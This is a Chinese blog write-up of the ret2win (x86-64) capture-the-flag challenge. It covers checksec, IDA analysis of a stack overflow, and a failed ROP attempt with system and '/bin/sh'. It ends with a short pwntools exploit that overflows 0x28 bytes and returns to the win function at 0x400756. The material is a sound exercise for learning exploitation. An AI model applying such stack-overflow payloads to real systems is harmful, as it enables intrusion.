ret2win Challenge1(x86-64)

本文详细介绍了通过ida分析程序的栈溢出漏洞,探讨了开启NX保护下的exploit构造,特别是如何利用system和bin字符串进行攻击尝试。然而,由于部分RELRO的存在和栈地址的不可获取,作者最初的方法未能成功。最终,作者发现了已存在的利用电梯,调整策略,构造了有效的payload,成功触发了ret2win。文章展示了从逆向到实战的完整过程,对于理解栈溢出漏洞利用具有指导意义。
摘要由CSDN通过智能技术生成

checksec一下发现就开了nx

ida打开

栈溢出很明显

shift+f12看看有啥利用的

给的相当丰富,system,bin字符串给全了。笔者当时直接摧枯拉朽pop rdi ret自己构造去了,但是无法出现flag,其实忽略了一个问题,read有0x38,s距rbp有20h,可利用只有24个字节,8字节占用rbp,rdi ret+bin+system有24字节。程序开了partial relro,也没puts栈地址,栈迁移放弃。

再次把目光看向左边,发现

人家其实都造好电梯了,咱还飞檐走壁,好蠢,噗

完整exp

from pwn import *
p = process('./ret2win')
payload=b"a" * 0x28+p64(0x0000000000400756)
p.recvuntil(b"> ")
p.sendline(payload)
p.interactive()

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值